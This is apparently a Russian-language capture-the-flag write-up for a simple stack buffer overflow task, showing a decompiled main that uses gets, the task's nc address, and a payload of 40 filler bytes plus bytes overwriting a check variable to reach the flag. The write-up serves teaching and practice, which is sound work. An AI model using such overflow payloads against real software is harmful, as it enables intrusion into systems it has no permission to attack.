Переполните, чтобы получить флаг.

nc 109.233.56.90 11586

Solution

Нужно найти переполнение буфера, чтобы получить флаг. Значит реверсим.

Анализ main

А вот и код:

  int32_t main()
  {
      int32_t result = 0;
      int32_t num = 666;
      int64_t rax;
      (uint8_t)rax = 0;
      int32_t var_3c = printf("Give me your input: ");
      char buf[0x28];
      char* var_48 = gets(&buf);
      char* rax_2;
      (uint8_t)rax_2 = 0;
      printf("The check number is %d\n", (uint64_t)num);
      int64_t rax_3;
      
      if (num != 13371337)
      {
          (uint8_t)rax_3 = 0;
          printf("Bad luck!\n");
      }
      else
      {
          (uint8_t)rax_3 = 0;
          printf("Flag is: spbctf{*************************}\n");
      }
      return result;
  }

Ввод совершается через не безопасный gets. Для прохождения нужно заменять num на 13371337.

Подбор пейлоада

Как всегда, нам нужен стек:

IMG

Число 32-х битное. Значит нужно будет 4 символа, чтобы его переписать. В бинже я представил строку в виде символов, получилось вот это чудо: \xc9\x07\xcc.

Значит пейлоад будет 40 рандомных символов и вот это:

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xC9\x07\xCC

Другая проблема - это ввод неотображаемых символов. Для этого использую перенаправление потока вывода и printf:

IMG

Теперь нужно получить флаг.

IMG

Для того, чтобы все получилось, я добавил \n в конец пейлоада.